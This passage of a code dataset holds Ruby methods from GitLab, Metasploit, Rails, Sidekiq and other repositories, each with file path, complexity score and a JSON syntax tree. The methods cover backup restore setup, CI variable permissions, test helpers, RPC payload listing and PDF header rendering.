},{\"type\":\"str\",\"children\":[\"Empty response. Please validate RHOST\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"GitLabClientException\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected HTTP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" response.\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"regex\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"GitLabClientException\"]},{\"type\":\"str\",\"children\":[\"Could not successfully extract CSRF token\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}","id":"f9501e0d-a176-4da9-8389-7aed79759fb5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/restore_executor.rb","start_line":16,"raw_source":"def initialize(\n          context:,\n          backup_id: nil,\n          backup_bucket: nil,\n          wait_for_completion: nil,\n          registry_bucket: nil,\n          service_account_file: nil\n        )\n          @context = context\n          @backup_id = backup_id\n          @workdir = create_temporary_workdir!\n          @archive_directory = context.backup_basedir.join(backup_id)\n\n          @metadata = nil\n          super(\n            backup_bucket: backup_bucket,\n            wait_for_completion: wait_for_completion,\n            registry_bucket: registry_bucket,\n            service_account_file: service_account_file\n          )\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"context\"]},{\"type\":\"kwoptarg\",\"children\":[\"backup_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"backup_bucket\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"wait_for_completion\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"registry_bucket\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"service_account_file\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@backup_id\",{\"type\":\"lvar\",\"children\":[\"backup_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@workdir\",{\"type\":\"send\",\"children\":[null,\"create_temporary_workdir!\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@archive_directory\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"backup_basedir\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"backup_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@metadata\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backup_bucket\"]},{\"type\":\"lvar\",\"children\":[\"backup_bucket\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_for_completion\"]},{\"type\":\"lvar\",\"children\":[\"wait_for_completion\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registry_bucket\"]},{\"type\":\"lvar\",\"children\":[\"registry_bucket\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_account_file\"]},{\"type\":\"lvar\",\"children\":[\"service_account_file\"]}]}]}]}]}]}","id":"000d9529-3359-4dd2-8856-8dd567b5e051"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_module.rb","start_line":308,"raw_source":"def rpc_compatible_payloads(mname)\n    m   = _find_module('exploit',mname)\n    res = {}\n    res['payloads'] = []\n    m.compatible_payloads.each do |k|\n      res['payloads'] << k[0]\n    end\n\n    res\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_compatible_payloads\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[null,\"_find_module\",{\"type\":\"str\",\"children\":[\"exploit\"]},{\"type\":\"lvar\",\"children\":[\"mname\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"payloads\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"compatible_payloads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"payloads\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"1af3decb-14c1-4b12-8079-746c57e206cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_ci_cd_setting.rb","start_line":95,"raw_source":"def override_pipeline_variables_allowed?(role_access_level, user)\n    return true unless restrict_user_defined_variables?\n\n    project_minimum_access_level = pipeline_variables_minimum_override_role_for_database\n\n    return false if project_minimum_access_level == NO_ONE_ALLOWED_ROLE\n\n    role_project_minimum_access_level = role_map_pipeline_variables_minimum_override_role[project_minimum_access_level]\n\n    role_access_level >= role_project_minimum_access_level || user&.can_admin_all_resources?\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"override_pipeline_variables_allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role_access_level\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"restrict_user_defined_variables?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_minimum_access_level\",{\"type\":\"send\",\"children\":[null,\"pipeline_variables_minimum_override_role_for_database\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_minimum_access_level\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"NO_ONE_ALLOWED_ROLE\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"role_project_minimum_access_level\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role_map_pipeline_variables_minimum_override_role\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"project_minimum_access_level\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role_access_level\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"role_project_minimum_access_level\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"can_admin_all_resources?\"]}]}]}]}","id":"e0257c56-dc3f-4f15-9b45-3f4bcd5f76b3"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/test_helper.rb","start_line":186,"raw_source":"def assert_no_enqueued_jobs(only: nil, except: nil, queue: nil, &block)\n      require_active_job_test_adapter!(\"assert_no_enqueued_jobs\")\n\n      assert_enqueued_jobs 0, only: only, except: except, queue: queue, &block\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_no_enqueued_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"only\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"except\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"queue\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_active_job_test_adapter!\",{\"type\":\"str\",\"children\":[\"assert_no_enqueued_jobs\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_enqueued_jobs\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"lvar\",\"children\":[\"only\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"lvar\",\"children\":[\"except\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"queue\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"3bc4494b-08b5-4b96-9611-d3da5b302264"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/migration_helpers.rb","start_line":59,"raw_source":"def time_enforced?(node)\n      return false unless enforced_since\n\n      version(node) > enforced_since\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"time_enforced?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforced_since\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\">\",{\"type\":\"send\",\"children\":[null,\"enforced_since\"]}]}]}]}","id":"6db2b817-447e-474a-bf38-400f549f194e"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/processor_test.rb","start_line":41,"raw_source":"def call(worker, item, queue)\n    raise TEST_PROC_EXCEPTION if @raise_before_yield\n    yield unless @skip\n    raise TEST_PROC_EXCEPTION if @raise_after_yield\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]},{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raise_before_yield\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TEST_PROC_EXCEPTION\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip\"]},null,{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raise_after_yield\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TEST_PROC_EXCEPTION\"]}]},null]}]}]}","id":"98384d31-dec0-481a-94c7-5ee96439e585"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/denormalized_has_many_test.rb","start_line":74,"raw_source":"def test_changes_in_associated_records_should_expire_the_parents_cache\n    Item.fetch(@record.id)\n    key = @record.primary_cache_index_key\n    assert_not_nil(IdentityCache.cache.fetch(key))\n\n    IdentityCache.cache.expects(:delete).with(@record.associated_records.first.primary_cache_index_key)\n    IdentityCache.cache.expects(:delete).with(key)\n    child = @record.associated_records.first\n    child.update!(updated_at: child.updated_at + 1)\n  end","complexity_score":26.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_changes_in_associated_records_should_expire_the_parents_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"primary_cache_index_key\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated_records\"]},\"first\"]},\"primary_cache_index_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"child\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated_records\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"updated_at\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"83f0f778-6a8e-45c2-8e20-e77ae2f2bfec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/mms/model/message.rb","start_line":49,"raw_source":"def initialize(opts={})\n            self.from = opts[:from]\n            self.to = opts[:to]\n            self.message = opts[:message]\n            self.subject = opts[:subject]\n            self.content_type = opts[:content_type]\n            if opts[:attachment_path]\n              self.attachment = load_file_to_base64(opts[:attachment_path])\n              self.attachment_name = File.basename(opts[:attachment_path])\n            end\n          end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"message=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"subject=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"content_type=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content_type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attachment_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attachment=\",{\"type\":\"send\",\"children\":[null,\"load_file_to_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attachment_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attachment_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attachment_path\"]}]}]}]}]},null]}]}]}","id":"c200b8fb-c1f8-46d4-b20c-0d00e51f7a53"}
{"repo_name":"rails","file_path":"./repos/rails/guides/rails_guides/markdown.rb","start_line":10,"raw_source":"def initialize(view:, layout:, edge:, version:, epub:)\n      @view          = view\n      @layout        = layout\n      @edge          = edge\n      @version       = version\n      @index_counter = Hash.new(0)\n      @raw_header    = \"\"\n      @node_ids      = {}\n      @epub          = epub\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"view\"]},{\"type\":\"kwarg\",\"children\":[\"layout\"]},{\"type\":\"kwarg\",\"children\":[\"edge\"]},{\"type\":\"kwarg\",\"children\":[\"version\"]},{\"type\":\"kwarg\",\"children\":[\"epub\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@view\",{\"type\":\"lvar\",\"children\":[\"view\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@layout\",{\"type\":\"lvar\",\"children\":[\"layout\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@edge\",{\"type\":\"lvar\",\"children\":[\"edge\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@index_counter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@raw_header\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@node_ids\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@epub\",{\"type\":\"lvar\",\"children\":[\"epub\"]}]}]}]}","id":"bd0f4886-31e8-45b4-aa11-49ec36226664"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/services/storages/one_drive_managed_folder_create_service_spec.rb","start_line":351,"raw_source":"def set_permissions_on(file_id, user_permissions)\n      Adapters::Input::SetPermissions.build(file_id:, user_permissions:).bind do |input_data|\n        Adapters::Registry.resolve(\"one_drive.commands.set_permissions\").call(storage:, auth_strategy:, input_data:)\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_permissions_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_id\"]},{\"type\":\"arg\",\"children\":[\"user_permissions\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Input\"]},\"SetPermissions\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_id\"]},{\"type\":\"lvar\",\"children\":[\"file_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_permissions\"]},{\"type\":\"lvar\",\"children\":[\"user_permissions\"]}]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"str\",\"children\":[\"one_drive.commands.set_permissions\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_strategy\"]},{\"type\":\"send\",\"children\":[null,\"auth_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_data\"]},{\"type\":\"lvar\",\"children\":[\"input_data\"]}]}]}]}]}]}","id":"b7868978-656b-4a30-87ae-e583daf70b3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pdf/header.rb","start_line":23,"raw_source":"def render\n        y = @pdf.bounds.top\n        @pdf.bounding_box([0, y], width: @pdf.bounds.right, height: @height) do\n          # The logo and GitLab text\n          @pdf.bounding_box([0, @pdf.bounds.top], width: @halfway_point, height: @height) do\n            logo_path = Rails.root.join('app/assets/images/gitlab_logo.png')\n\n            begin\n              @pdf.image(logo_path, width: 21, height: 21, position: :left, vposition: 6)\n            rescue ArgumentError\n              nil\n            end\n\n            @pdf.text_box(\n              \"GitLab\",\n              at: [25, @pdf.bounds.top],\n              width: 100,\n              height: 30,\n              valign: :center,\n              size: 24,\n              style: :bold\n            )\n          end\n\n          # Title (right side)\n          @pdf.bounding_box([@halfway_point, @pdf.bounds.top], width: @halfway_point, height: @height) do\n            @exportable_title ||= \"Vulnerability Summary\"\n\n            @pdf.text_box(\n              \"#{@exportable_title} | #{Date.current.strftime('%B %-d, %Y')} | #{@page}\",\n              align: :right,\n              valign: :center,\n              size: 10\n            )\n          end\n\n          # Gradient bar using SVG\n          gradient_svg = <<~SVG\n          <svg width=\"#{@pdf.bounds.width}\" height=\"10\">\n            <defs>\n              <linearGradient id=\"grad\" x1=\"0%\" y1=\"0%\" x2=\"100%\" y2=\"0%\">\n                <stop offset=\"0%\" style=\"stop-color:#d2afed;stop-opacity:1\" />\n                <stop offset=\"25%\" style=\"stop-color:#fa8bca;stop-opacity:1\" />\n                <stop offset=\"50%\" style=\"stop-color:#ff76a4;stop-opacity:1\" />\n                <stop offset=\"100%\" style=\"stop-color:#fd6c30;stop-opacity:1\" />\n              </linearGradient>\n            </defs>\n            <rect width=\"100%\" height=\"10\" fill=\"url(#grad)\"/>\n          </svg>\n          SVG\n\n          # Position the gradient bar just below the header content\n          @pdf.svg gradient_svg, at: [0, @pdf.bounds.top - 45]\n        end\n      end","complexity_score":50.38,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"y\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounds\"]},\"top\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounding_box\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"y\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounds\"]},\"right\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"ivar\",\"children\":[\"@height\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounding_box\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounds\"]},\"top\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"ivar\",\"children\":[\"@halfway_point\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"ivar\",\"children\":[\"@height\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logo_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"app/assets/images/gitlab_logo.png\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"image\",{\"type\":\"lvar\",\"children\":[\"logo_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vposition\"]},{\"type\":\"int\",\"children\":[6]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"text_box\",{\"type\":\"str\",\"children\":[\"GitLab\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"at\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[25]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounds\"]},\"top\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"valign\"]},{\"type\":\"sym\",\"children\":[\"center\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"sym\",\"children\":[\"bold\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounding_box\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@halfway_point\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounds\"]},\"top\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"ivar\",\"children\":[\"@halfway_point\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"ivar\",\"children\":[\"@height\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@exportable_title\"]},{\"type\":\"str\",\"children\":[\"Vulnerability Summary\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"text_box\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exportable_title\"]}]},{\"type\":\"str\",\"children\":[\" | 